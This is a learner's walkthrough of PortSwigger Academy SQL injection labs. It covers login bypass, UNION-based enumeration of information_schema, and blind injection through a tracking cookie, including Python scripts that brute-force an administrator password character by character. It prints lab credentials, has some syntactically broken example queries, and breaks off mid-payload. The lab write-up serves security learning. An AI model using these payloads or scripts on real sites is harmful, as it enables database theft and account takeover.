{%hackmd hackmd-dark-theme %}
# 1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
In this lab, we have a shopping websites. By default, the website will list all products, but we can use **Refine your search** function to show product by category.


Example, if we click on **Pets**, our web browser will send a request to path `/filter` with query parameter `category=Pets`


Then the server will return products in the Pets category

Now, we can predict the sql query will be:

SELECT ... FROM ... WHERE category = 'Pets' ...;

So if the programmer does not apply protections to the code we can manipuplate the param to list all rows in this table. We will replace `Pets` with `'OR 1 = 1 --` and the sql query will look like this:

SELECT ... FROM ... WHERE category = '' OR 1 = 1 --' ...;

I use decode tab in Burp to URL encode the payload


Then send it to the server and bingo we solved the lab

# 2. SQL injection vulnerability allowing login bypass
This exercise give us a login site

As we know about the program flow of a login page, it will usually take the input that user enters from the login page and then use that information to query data from the database

If we enter username=admin&password=admin, it may try to do this sql query:

... WHERE username = 'admin' AND password = 'admin' ...;

This query will be TRUE if the username and the password exists in database, if not, the query will return FALSE

To make the query return even we don't know the username or password, we can manipulate the input, replace username input from `admin` to `' OR 1 = 1--`. And the query will look like this

... WHERE username = '' OR 1 = 1 --' AND password = 'admin' ...;

Bingo, lab solved

# 2. Determining the number of columns reqired in a SQL injection UNION attack
## What is UNION attack?
When an applicaiton is vulnerable to SQL injection and the results of the query are returned within the application's responses => the **UNION** keyword can be used to retrive data from other tables within the database.

The **UNION** keyword lets you execute one or more additional **SELECT** queries and append the results to the original query. For example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query will return a single result set with two columns, containing values from columns `a` and `b` in `table1` and columns `c` and `d` in `table2`

For a `UNION` query to work, two key requirements must be met:
- The individual queries must return the same nubmer of columns
- The data types in each colums must be compatible between the individual queries

To carry out a SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:
- How many columns are being returned from the original query?
- Whichi columns returned from the original query are of a suitable data type to hold the results from the injected query?
## Determine columns

There are two effective methods to determine how many columns are being returned from the original query

The first method involves injecting a series of ORDER BY clauses and incrementing the specified colums index until an error occurs.

For example, assuming the injection point is a quoted string within the WHERE clause of the original query, you would submit:

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
etc.

This series of payloads modifies the original query to orders the results by different columns in the result set. **The column in an ORDER BY clause can specified by its index**, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual comlumns in the result set, the database returns an error, such as:

The ORDER BY position number 3 is out of range of the number of item in the select list

#### Let's try it
With `' ORDER BY 3 --` server still responds normally


With `' ORDER BY 4 --` server responds error


The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results.

The second method involves submitting a series of `UNION SELECT` payloads specifying a different number of null values

If the number of nulls does not match the number of columns, the database returns an error.

Again, the application may return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column.


> NOTE:
> - On Oracle, every `SELECT` query must use the `FROM` keyword and specify a valid table. There is a built-in table on Oracle called `dual` which can be used for this purpose. So the injected queries on Oracle would need to look like:
> `UNION SELECT NULL FROM DUAL --`
> - The payloads described use the double-dask comment sequence `--` to comment out the remainder of the original query following the injection point. On MySQL, the double-dasj sequence must be followed by a space. Alternatively, the hash charater `#` can be used to identify a comment.
> For more details of database-specific syntax, see the [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)

# 3. Determining the number of columns returned by the query


Base on what we get from the response, we can assume that there are 3 columns returned by the query
1. Product Name: High-End Gift Wrapping
2. Price: $78.62
3. Product ID:is in the param of the path when we click the View detail button

## Exercise


# 4. Finding a column containing text

Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of `UNION SELECT` payloads that place a string value into each column in turn. For example, if the query return three colums, you would submit:

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

If the data type of a column is not compatiable with string data, the injected query will cause a database error

## Exercise



# 2.4 Retrieving data from other tables

First we got a shopping web site like this

We try to inject pay load ` ' or 1=1 --` and it work, so we can be sure this site is vulnerable to sql injection


Now I will try to identify the number of columns returned by the query. I will using this payload

' union select null, null--


With 3 `null` the site return `Internal Server Error`, so the number of columns returned by the query is two.
Next, we need to identify the data type of these two columns. By using this payload

' union select 'a', 'a' --

If the site does not return any error then we can be sure that the data type of these two columns is `string`


To minimize errors when writting payload for injection, we should find a way to know the name of the DBMS as well as its version (since each DBMS will have different query syntax). We can use the following queries, combined with `union` to find the version of DBMS.

-- Oracle	
SELECT banner FROM v$version
SELECT version FROM v$instance
-- Microsoft	
SELECT @@version
-- PostgreSQL	
SELECT version()
-- MySQL	
SELECT @@version


After knowing the DBMS is PostgreSQL, we can use the following queries to get all the table in DB

SELECT * FROM information_schema.tables

But we know that the original query will return 2 string columns. So I try to google and find out 2 string columns in `information_schema.tables` table are `table_schema`, `table_name`. Now I can know all table name in database


Then I found an interesting table called **users**


Use the following payload to query the names of all columns in database **users**

' union select column_name, data_type from information_schema.columns where table_name = 'users' --


Both columns can easily to query and print out

Now we know the username and password of admin is `administrator:maxv1tyla3u7be9yubov` we can easily use this credential to login. And then, we solved the exercise


# 2.5 Retrieving multiple values in a single column

In this exercise we have 2 columns, one data type is number, and one data type is string.


Like previous exercise, we can get DBMS version


All table name


Interesting table name


Column name of table **users**


Get the username


Get the password


Now we know sername and password of admin is `administrator:rck79vi6foswsujg5afr`

And it is invalid =)))

Maybe I have a wrong username and password pairing. Maybe I can use another techique call `string concatenation` which help us retrieve multiple values together within this single column by concatenating the values together.


Now the right credential is `administrator:10zzdkin4ux6y5gtxhgp`


# 3. Blind SQL injection
## What is blind SQL injection?
Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the result of the revelant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as `UNION` attacks, are not effective because they rely on being able to see the results of the injected query within the application's response.

## Exploiting blind SQL injection by triggering conditional responses
Consider an application that uses tracking coookie to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a `TrackingId` cookie is processed, the application determines whether this is a known user using a SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query return any data, If it returns data (because a recognized `TrackingId` was submitted), then a "Welcome back" message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following `TrackingId` cookies values in turn:

...xyz' AND '1' = '1
...xyz' AND '1' = '2

The first of these values will cause the query to return results, because the injected `AND '1'='1` condition is true, and so the "Welcome back" message will be displayed.
Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the "Welcome back" message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

For example, suppose there is a table called `Users` with the columns `Username` and `Password`, and a user called`Administrator`. We can systematically determine the password for this user by sending a series of inputs to test the password one charater at a time.

To do this, we start with the following input:

xyz' AND SUBSTRING ((SELECT Password FROM Users WHERE Username = 'Administrator'),1,1) > 'm

This returns the "Welcome back" message, indicating that the injected condition is **true**, and so **the first character of the password is greater than `m`**.

Next, we send the following input

xyz' AND SUBSTRING ((SELECT Password FROM Users WHERE Username = 'Administrator'),1,1) > 't

This does not return the "Welcome back" message , indicating that the injeccted condition is **false**, and so **the first charater of the password is not greater than `t`**

Eventually, we send the following input, which returns the "Welcome back" message, thereby comfirming that the first character of the password is `s`

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

# 3.1 Conditional responses

According to the flow of the application provided in the description, the application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.


## 1. Confirm that the parameter is vulnerable to blind SLQi

With Burp we can clearly see the flow. At the first request, server response with header `Set-Cookie`


Then, the next requests when sent will have header `Cookie` and the response will include a "Welcome back!" message in the page if there is a cookie


Let's check something

If I send a request without `Cookie TrackingId`, there will be no "Welcome back!" message


So we can guess the code query in server may look like this:

SELECT ... FROM ... WHERE TrackingId = '{cookie TrackingId}'

If `TrackingId` exist in database, the query will return result then server response will include the "Welcome back!" message. Else server will not include the message in the response.

Let's comfirm that

Here I add `' AND '1'='2` to `TrackingId` cookie


Cause the site has a SQL injection vulnerability here. After adding the injected query to the cookie string, it was added directly to the server's original query, and executed the query as we wanted. Here I added a true condition so the result of the whole query is true => response included "Welcome back!" message

And if we added a false condition, there will be no messages


## 2. Enumerate

First I used this query to check if database has table **users**


Then use this query to check column name in the table



I try some random admin username like `administrator` and server comfirm with us that this username exist in the database


Guessing the password can be a bit difficult, so I try to write a python script to help me guess it

Here is a small script to check if the query is TRUE or FALSE


Next we need to find length of `password`, here I try to write a query to check the length of `username`


Then I fixed a little bit to check the length of password

import requests
import urllib
url = "https://0a3400aa03d363cd809b535200bb003f.web-security-academy.net/"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
oricookies = "BaGAVSyOwGEQPAwx"
payload = "' and (select length(password) from users where username = 'administrator') < '"
for i in range (0,50,10):
    cookies = {"TrackingId":(oricookies+payload+str(i))}
    resp = requests.get(url, cookies=cookies)
    if "Welcome back!" in resp.text:
        print(payload + str(i) + " IS TRUE")
        for j in range (i - 10,i):
            payload = "' and (select length(password) from users where username = 'administrator') = '"
            cookies = {"TrackingId":(oricookies+payload+str(j))}
            resp = requests.get(url, cookies=cookies)
            if "Welcome back!" in resp.text:
                print(payload + str(j) + " IS TRUE")
                break
            else:
                print(payload + str(j) + " IS FALSE")
        break
    else:
        print(payload + str(i) + " IS FALSE")

Result:


=> `password` is a string of 20 charaters

Next we need to brute force to check each charater

Same as before, I will write a query to check username administrator


After making sure the query works, I change it to brute force password

Here is the script:

import requests
import urllib
url = "https://0af0006003b4e71c8054b29800f700fe.web-security-academy.net/"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
oricookies = "0ou1SzrMMircl28s"
password = ''
for i in range (1,21):
    for a in alphabet:
        payload = f"' and (select substring((password),{i},1) from users where username = 'administrator') = '{a}"
        cookies = {"TrackingId":(oricookies+payload)}
        resp = requests.get(url, cookies=cookies)
        if "Welcome back!" in resp.text:
            print(str(cookies) + " IS TRUE")
            password += a
            break
        else:
            print(str(cookies))

payload = f"' and (select ord(substring(username),1,1) from users where username = 'administrator') = '97"

print (password)

Result:


## 3. Login with administrator account

Now with username and password we can login to administrator account


## Brute force with Burp Suite

First, use `Repeater` to write and check query


Hightlight/black out/select what we have write and press `Ctrl + U` to URL encode it


Next, right click and send it to `Intruder`


In `Positions` tab, set `Attack type: Cluster bomb`, choose what part we want to change in the query payload then click `Add`. Then go to `Payloads` tab to set option for each payload

First payload:


Second payload:


When done, click `Start Attack`


Base on length of response we can guess the password.

> But I will keep using python script to exploit, cause it faster and I won't have to rearrange characters to have a correct password :))

# Conditional errors

In this exercise, there will be no **Welcome back!** message like previous. But parameter **cookie** still vulnerable to SQLi. Specifically, although there is nothing on the website to tell us whether the result of the query is true or false, if the query fails due to a syntax error or something like that, the website will return the error message

The query has no error and it return false:


The query has an error in syntax:


## Triggering conditional error

The **CASE** expression goes through conditions and returns a value when the first condition is met. So, once a condition is true, it will stop reading and return the result. If no conditions are true, it returns the value in the **ELSE** clause.

If there is no **ELSE** part and no conditions are true, it returns NULL

CASE Syntax:

CASE
    WHEN condition1 THEN result1
    WHEN condition2 THEN result2
    WHEN conditionN THEN resultN
    ELSE result
END;

We can CASE expression to triggering conditional error like this:

CASE WHEN (1=2) THEN 1 ELSE 1/0) = '1

This query will trigger the error cause 1 cannot be divided by 0


But if we change the condition

CASE WHEN (1=1) THEN 1 ELSE 1/0) = '1


With this we can now enumerate the database. If condition we want to check is True, server will reponse 200, and if it False, server will response 500.

By somehow, I cannot check the names of the tables that are in the database. So I try to query with random column name and table name (of course those name are given in the description of this excersice)


'xyz' AND (SELECT CASE WHEN username = 'administrator' then 1 else 1/0)